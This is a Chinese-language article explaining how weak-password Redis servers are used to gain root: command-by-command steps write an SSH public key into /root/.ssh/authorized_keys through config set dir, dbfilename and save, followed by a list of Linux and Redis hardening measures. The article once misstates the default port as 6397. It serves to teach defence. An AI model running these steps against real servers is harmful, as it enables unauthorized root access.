概述
近期出现一些redis弱口令服务器被利用提权的情况,为确保redis安全稳定运行,特编写此文,从原理上理解redis提权路径,以及防范方法。
入侵途径
入侵原理
侵入者通过端口扫描工具扫描redis端口(6397)后,通过密码字典等方式去登录redis,一旦登录成功,就可以通过保存redis数据的方式将想要的数据生成的想要的地方,比如:
生成ssh信任到.ssh文件夹下就可以连接linux
生成想要的作业计划到cron既可以定时任务执行任何想要的脚本。
测试redis生成文件
测试生成文件到/root/.ssh/authorized_keys
1
准备ssh验证数据
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>foo.txt
之所以前后加上两个回车,是因为redis在save保存文件时会在最前面加上几个特定字符,加上两个回车后在.ssh中才会被认为是一条正确的数据。
2
将foo.txt写入到redis的key中
第一步先删除所有key,以免key太多保存文件太大;
[root@oracle_hostname redis]# redis-cli
127.0.0.1:6379> flushall
OK
[root@oracle_hostname redis]# cat foo.txt | redis-cli -x set pwn
3
保存到指定位置
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
127.0.0.1:6379> config set dbfilename "authorized_keys"
OK
127.0.0.1:6379> save
OK
4
查看生成的文件
可以看到前面一部分是redis生成的固定的字符串,后面是value值
这样我们就拿到linux root权限了。
防范方法
从入侵途径可以看出通过redis入侵的关键是:
网络暴露,被扫描到6379
redis没有密码,或弱密码
redis运行用户权限过高,可以写.ssh,cron等特殊权限
linux密码过于简单,被用作跳板机扫描
linux层面防范
修改默认22端口,减少被扫描暴力破解概率
提升密码复杂度
停用不必要的服务与端口
建立专用的redis运行的OS用户
只针对需要连接的服务器开放redis端口
Redis层面防范
修改默认6379端口,因为大部分入侵都是扫这个默认端口
提升redis密码复杂度
禁用redis高危命令
以低权限用户运行redis
redis配置文件中绑定IP,避免所有IP都对外开放
领取专属 10元无门槛券
私享最新 技术干货